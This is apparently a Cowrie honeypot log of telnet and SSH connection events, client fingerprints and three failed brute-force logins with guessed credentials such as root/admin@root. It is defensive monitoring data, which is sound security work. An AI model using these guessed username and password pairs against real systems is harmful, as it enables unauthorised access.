{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50842,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cab96e62387","protocol":"telnet","message":"New connection: 45.58.127.90:50842 (10.17.0.5:23) [session: 9cab96e62387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:31.125757Z"}
{"eventid":"cowrie.session.closed","duration":31.038162231445312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:36.722115Z","src_ip":"50.6.18.72","session":"715585e8b96e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.832395792007446,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:37.243811Z","src_ip":"147.182.143.59","session":"9786a7646ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17766284942627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:38.886030Z","src_ip":"50.6.18.72","session":"b96b1b8f30eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.440921783447266,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:39.743563Z","src_ip":"45.58.127.90","session":"cedd94551376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.543312311172485,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:42.918177Z","src_ip":"45.58.127.90","session":"a0b820c33c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56194,"dst_ip":"159.203.135.109","dst_port":23,"session":"b744c58c67c1","protocol":"telnet","message":"New connection: 147.182.143.59:56194 (159.203.135.109:23) [session: b744c58c67c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:43.673862Z"}
{"eventid":"cowrie.session.closed","duration":43.49887561798096,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:44.750005Z","src_ip":"45.58.127.90","session":"6c9b50d52dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10715103149414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:45.195462Z","src_ip":"50.6.18.72","session":"caaca15fe899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679147005081177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:45.597105Z","src_ip":"50.6.18.72","session":"15cbdd682a57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56204,"dst_ip":"159.203.135.109","dst_port":23,"session":"89465c0cb3e0","protocol":"telnet","message":"New connection: 147.182.143.59:56204 (159.203.135.109:23) [session: 89465c0cb3e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:46.672427Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":51732,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb5d9606a759","protocol":"telnet","message":"New connection: 50.6.18.72:51732 (159.203.135.109:23) [session: bb5d9606a759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:48.394661Z"}
{"eventid":"cowrie.session.closed","duration":31.76759672164917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:52.505257Z","src_ip":"50.6.18.72","session":"1ab79ad33452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70458745956421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:53.603154Z","src_ip":"50.6.18.72","session":"fe684f729de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993664741516113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:54.678279Z","src_ip":"50.6.18.72","session":"5fd7f6da4e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.23578953742981,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:55.909574Z","src_ip":"147.182.143.59","session":"b744c58c67c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876346111297607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:57.692443Z","src_ip":"50.6.18.72","session":"0bd02d27b848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":54495,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf0bd74768f","protocol":"ssh","message":"New connection: 193.106.245.20:54495 (10.17.0.5:22) [session: 9bf0bd74768f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:59.896715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:16:59.903939Z","src_ip":"193.106.245.20","session":"9bf0bd74768f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:00.020470Z","src_ip":"193.106.245.20","session":"9bf0bd74768f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7777777","message":"login attempt [admin/7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:00.518558Z","src_ip":"193.106.245.20","session":"9bf0bd74768f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.363768339157104,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:01.036073Z","src_ip":"147.182.143.59","session":"89465c0cb3e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:01.640358Z","src_ip":"193.106.245.20","session":"9bf0bd74768f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.987473249435425,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:01.964354Z","src_ip":"45.58.127.90","session":"62dac4d253d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35128,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d62b3e7c484","protocol":"telnet","message":"New connection: 50.6.18.72:35128 (159.203.135.109:23) [session: 2d62b3e7c484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:02.659493Z"}
{"eventid":"cowrie.session.closed","duration":45.76047658920288,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:04.199804Z","src_ip":"45.58.127.90","session":"8962a8288f1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.8506760597229,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:12.976310Z","src_ip":"45.58.127.90","session":"9cab96e62387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":57758,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5da1564d7c3","protocol":"telnet","message":"New connection: 50.6.18.72:57758 (159.203.135.109:23) [session: d5da1564d7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:14.466732Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51280,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e2c46f9987","protocol":"telnet","message":"New connection: 45.58.127.90:51280 (10.17.0.5:23) [session: f6e2c46f9987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:16.788973Z"}
{"eventid":"cowrie.session.closed","duration":30.29393982887268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:18.688472Z","src_ip":"50.6.18.72","session":"bb5d9606a759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56184,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16c81f40484","protocol":"telnet","message":"New connection: 45.58.127.90:56184 (10.17.0.5:23) [session: d16c81f40484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:22.131591Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56196,"dst_ip":"10.17.0.5","dst_port":23,"session":"042b8a8ebc51","protocol":"telnet","message":"New connection: 45.58.127.90:56196 (10.17.0.5:23) [session: 042b8a8ebc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:22.308102Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56172,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd0ae1df7ad","protocol":"telnet","message":"New connection: 45.58.127.90:56172 (10.17.0.5:23) [session: fcd0ae1df7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:27.670160Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56208,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d2a843e580f","protocol":"telnet","message":"New connection: 45.58.127.90:56208 (10.17.0.5:23) [session: 1d2a843e580f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:27.778623Z"}
{"eventid":"cowrie.session.closed","duration":1.5595359802246094,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:29.229570Z","src_ip":"45.58.127.90","session":"fcd0ae1df7ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59410,"dst_ip":"159.203.135.109","dst_port":23,"session":"8feeba452c68","protocol":"telnet","message":"New connection: 147.182.143.59:59410 (159.203.135.109:23) [session: 8feeba452c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:31.363422Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54658,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ae673acaf9","protocol":"telnet","message":"New connection: 50.6.18.72:54658 (159.203.135.109:23) [session: d9ae673acaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:31.963648Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40962,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21e8d84acde","protocol":"telnet","message":"New connection: 45.58.127.90:40962 (10.17.0.5:23) [session: e21e8d84acde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:32.186369Z"}
{"eventid":"cowrie.session.closed","duration":31.496700763702393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:34.156070Z","src_ip":"50.6.18.72","session":"2d62b3e7c484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42126,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeecfd07ee24","protocol":"telnet","message":"New connection: 50.6.18.72:42126 (159.203.135.109:23) [session: aeecfd07ee24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:39.715346Z"}
{"eventid":"cowrie.session.closed","duration":10.223965883255005,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:41.587241Z","src_ip":"147.182.143.59","session":"8feeba452c68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13922667503357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:45.605849Z","src_ip":"50.6.18.72","session":"d5da1564d7c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24185132980347,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:51.030747Z","src_ip":"45.58.127.90","session":"f6e2c46f9987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":34685,"dst_ip":"10.17.0.5","dst_port":22,"session":"93cb273767e9","protocol":"ssh","message":"New connection: 193.106.245.20:34685 (10.17.0.5:22) [session: 93cb273767e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:59.601895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:59.606096Z","src_ip":"193.106.245.20","session":"93cb273767e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:17:59.723181Z","src_ip":"193.106.245.20","session":"93cb273767e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer","message":"login attempt [ubuntu/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:00.225022Z","src_ip":"193.106.245.20","session":"93cb273767e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41116,"dst_ip":"10.17.0.5","dst_port":23,"session":"8053ccd0d24f","protocol":"telnet","message":"New connection: 45.58.127.90:41116 (10.17.0.5:23) [session: 8053ccd0d24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:00.278870Z"}
{"eventid":"cowrie.session.closed","duration":38.86610150337219,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:01.174071Z","src_ip":"45.58.127.90","session":"042b8a8ebc51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:01.345841Z","src_ip":"193.106.245.20","session":"93cb273767e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.916552305221558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:02.880091Z","src_ip":"50.6.18.72","session":"d9ae673acaf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.31389808654785,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:07.092433Z","src_ip":"45.58.127.90","session":"1d2a843e580f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.20162343978882,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:07.333079Z","src_ip":"45.58.127.90","session":"d16c81f40484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55450,"dst_ip":"159.203.135.109","dst_port":23,"session":"9196959b6d94","protocol":"telnet","message":"New connection: 50.6.18.72:55450 (159.203.135.109:23) [session: 9196959b6d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:08.442361Z"}
{"eventid":"cowrie.session.closed","duration":38.43962216377258,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:10.625883Z","src_ip":"45.58.127.90","session":"e21e8d84acde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91659188270569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:10.631798Z","src_ip":"50.6.18.72","session":"aeecfd07ee24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50912,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cee14be05a1","protocol":"telnet","message":"New connection: 45.58.127.90:50912 (10.17.0.5:23) [session: 7cee14be05a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:14.890316Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42510,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a2f9f277b4","protocol":"telnet","message":"New connection: 50.6.18.72:42510 (159.203.135.109:23) [session: 09a2f9f277b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:15.876180Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42520,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b7a1c533f4","protocol":"telnet","message":"New connection: 50.6.18.72:42520 (159.203.135.109:23) [session: 65b7a1c533f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:17.737193Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50898,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93bc9d83e6d","protocol":"telnet","message":"New connection: 45.58.127.90:50898 (10.17.0.5:23) [session: f93bc9d83e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:17.878206Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42532,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4c88959152d","protocol":"telnet","message":"New connection: 50.6.18.72:42532 (159.203.135.109:23) [session: a4c88959152d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:18.759797Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42542,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c3cc1414a0","protocol":"telnet","message":"New connection: 50.6.18.72:42542 (159.203.135.109:23) [session: 28c3cc1414a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:18.918164Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":39548,"dst_ip":"10.17.0.5","dst_port":22,"session":"4790308a0f2b","protocol":"ssh","message":"New connection: 154.198.162.75:39548 (10.17.0.5:22) [session: 4790308a0f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:19.577231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:19.582445Z","src_ip":"154.198.162.75","session":"4790308a0f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:19.792876Z","src_ip":"154.198.162.75","session":"4790308a0f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@root","message":"login attempt [root/admin@root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:20.656658Z","src_ip":"154.198.162.75","session":"4790308a0f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:21.865679Z","src_ip":"154.198.162.75","session":"4790308a0f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42558,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a97efc8eeda","protocol":"telnet","message":"New connection: 50.6.18.72:42558 (159.203.135.109:23) [session: 8a97efc8eeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:24.766195Z"}
